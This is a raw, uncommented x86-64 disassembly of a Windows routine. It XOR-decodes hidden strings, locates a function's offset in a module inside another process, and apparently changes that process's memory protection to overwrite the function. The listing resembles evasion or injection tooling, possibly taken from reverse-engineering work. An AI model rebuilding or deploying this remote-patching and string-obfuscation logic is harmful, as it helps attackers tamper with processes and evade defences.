lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
mov qword [rbp + 0x5110], rax
mov rax, qword [rbp + 0x5110]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140009b71
mov rax, qword [rbp + 0x5118]
mov rdx, qword [rbp + 0x5118]
mov qword [rbp + 0x5108], rdx
mov qword [rbp + 0x5100], rax
mov dword [rbp + 0x50fc], 0
cmp dword [rbp + 0x50fc], 0xf
jg 0x140009b70
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5100]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5108]
mov eax, dword [rbp + 0x50fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50fc], 1
jmp 0x140009b03
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5268], rax
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x4fc7]
mov rcx, rax
call fcn.140003a50
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rax
mov rax, qword [rbp + 0x50f0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009c62
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50e8], rdx
mov qword [rbp + 0x50e0], rax
mov dword [rbp + 0x50dc], 0
cmp dword [rbp + 0x50dc], 0xd
jg 0x140009c61
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x50e8]
mov eax, dword [rbp + 0x50dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50dc], 1
jmp 0x140009bf4
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5268]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x50d8], 0
cmp dword [rbp + 0x50d8], 0xd
jg 0x140009cae
mov eax, dword [rbp + 0x50d8]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50d8], 1
jmp 0x140009c8c
nop
mov rax, qword [rbp + 0x5268]
mov qword [rbp + 0x5260], rax
mov rax, qword [rbp + 0x5260]
mov rdx, qword [rbp + 0x5270]
sub rax, rdx
mov dword [rbp + 0x525c], eax
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x4fc8]
mov rcx, rax
call fcn.140003ad2
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rax
mov rax, qword [rbp + 0x50d0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009da4
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50c8], rdx
mov qword [rbp + 0x50c0], rax
mov dword [rbp + 0x50bc], 0
cmp dword [rbp + 0x50bc], 0xc
jg 0x140009da3
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50bc], 1
jmp 0x140009d36
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x525c]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x50b8], 0
cmp dword [rbp + 0x50b8], 0xc
jg 0x140009def
mov eax, dword [rbp + 0x50b8]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50b8], 1
jmp 0x140009dcd
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x14000a123
mov dword [rbp + 0x537c], 0
mov eax, dword [rbp + 0x537c]
cdqe
mov edx, dword [rbp + 0x1dc]
mov edx, edx
shr rdx, 3
cmp rax, rdx
jae 0x14000a123
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x14000a117
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.14006fab0
lea rcx, [rbp + 0x4fc9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.14006fae0
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50b0], rax
mov rax, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009f83
mov rax, qword [rbp + 0x50b0]
mov rdx, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a0], rdx
mov qword [rbp + 0x5098], rax
mov dword [rbp + 0x5094], 0
cmp dword [rbp + 0x5094], 0xb
jg 0x140009f82
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
mov rax, qword [rbp + 0x5098]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x50a0]
mov eax, dword [rbp + 0x5094]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5094], 1
jmp 0x140009f15
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.1400325d0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x14000a10b
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rcx, str._t_s__0x_08X__n
call fcn.140001540
mov eax, dword [rbp + 0x537c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5380], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fca]
mov rcx, rax
call fcn.140003b4c
mov eax, dword [rbp + 0x537c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5088], rax
mov rax, qword [rbp + 0x5088]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x14000a0c8
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5080], rdx
mov qword [rbp + 0x5078], rax
mov dword [rbp + 0x5074], 0
cmp dword [rbp + 0x5074], 0xa
jg 0x14000a0c7
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
mov rax, qword [rbp + 0x5078]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x39
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5080]
mov eax, dword [rbp + 0x5074]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5074], 1
jmp 0x14000a05a
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x5070], 0
cmp dword [rbp + 0x5070], 0xa
jg 0x14000a10a
mov eax, dword [rbp + 0x5070]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5070], 1
jmp 0x14000a0e8
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400a7ee0
add dword [rbp + 0x537c], 1
jmp 0x140009e2d
mov eax, dword [rbp + 0x525c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5380]
add rax, rdx
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x4fcb]
mov rcx, rax
call fcn.140003bb6
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5068], rax
mov rax, qword [rbp + 0x5068]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x14000a214
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rdx
mov qword [rbp + 0x5058], rax
mov dword [rbp + 0x5054], 0
cmp dword [rbp + 0x5054], 0x13
jg 0x14000a213
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
mov rax, qword [rbp + 0x5058]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x39
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5060]
mov eax, dword [rbp + 0x5054]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5054], 1
jmp 0x14000a1a6
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x5050], 0
cmp dword [rbp + 0x5050], 0x13
jg 0x14000a256
mov eax, dword [rbp + 0x5050]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5050], 1
jmp 0x14000a234
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x5250], rax
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x4fcc]
mov rcx, rax
call fcn.140003c68
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5048], rax
mov rax, qword [rbp + 0x5048]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000a33a
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rdx
mov qword [rbp + 0x5038], rax
mov dword [rbp + 0x5034], 0
cmp dword [rbp + 0x5034], 0xc
jg 0x14000a339
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
mov rax, qword [rbp + 0x5038]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5040]
mov eax, dword [rbp + 0x5034]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5034], 1
jmp 0x14000a2cc
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x5250]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x5030], 0
cmp dword [rbp + 0x5030], 0xc
jg 0x14000a386
mov eax, dword [rbp + 0x5030]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5030], 1
jmp 0x14000a364
nop
mov r10, qword [0x140134058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.140003ce2
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5028], rax
mov rax, qword [rbp + 0x5028]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a491
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5020], rdx
mov qword [rbp + 0x5018], rax
mov dword [rbp + 0x5014], 0
cmp dword [rbp + 0x5014], 0x27
jg 0x14000a490
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
mov rax, qword [rbp + 0x5018]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5020]
mov eax, dword [rbp + 0x5014]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5014], 1
jmp 0x14000a423
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x5010], 0
cmp dword [rbp + 0x5010], 0x27
jg 0x14000a4dc
mov eax, dword [rbp + 0x5010]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5010], 1
jmp 0x14000a4ba
nop
mov r10, qword [0x140134050]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x140134040]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.140003e34
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5008], rax
mov rax, qword [rbp + 0x5008]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a601
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5000], rdx
mov qword [rbp + 0x4ff8], rax
mov dword [rbp + 0x4ff4], 0
cmp dword [rbp + 0x4ff4], 0x27
jg 0x14000a600
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ff8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5000]
mov eax, dword [rbp + 0x4ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ff4], 1
jmp 0x14000a593
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x4ff0], 0
cmp dword [rbp + 0x4ff0], 0x27
jg 0x14000a64c
mov eax, dword [rbp + 0x4ff0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4ff0], 1
jmp 0x14000a62a
nop
mov r10, qword [0x140134058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.140003f86
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fe8], rax
mov rax, qword [rbp + 0x4fe8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a757
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fe0], rdx
mov qword [rbp + 0x4fd8], rax
mov dword [rbp + 0x4fd4], 0
cmp dword [rbp + 0x4fd4], 0x27
jg 0x14000a756
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fd8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x4fe0]
mov eax, dword [rbp + 0x4fd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fd4], 1
jmp 0x14000a6e9
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x4fd0], 0
cmp dword [rbp + 0x4fd0], 0x27
jg 0x14000a7a2
mov eax, dword [rbp + 0x4fd0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fd0], 1
jmp 0x14000a780
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002d31
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002913
mov rdx, qword [0x140134088]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7ee0
cmp ebx, 1
jne 0x14000a809
mov esi, 0
mov eax, esi
jmp 0x14000c14f
add rsp, 0x5420
pop rbx
pop rsi
pop rbp
ret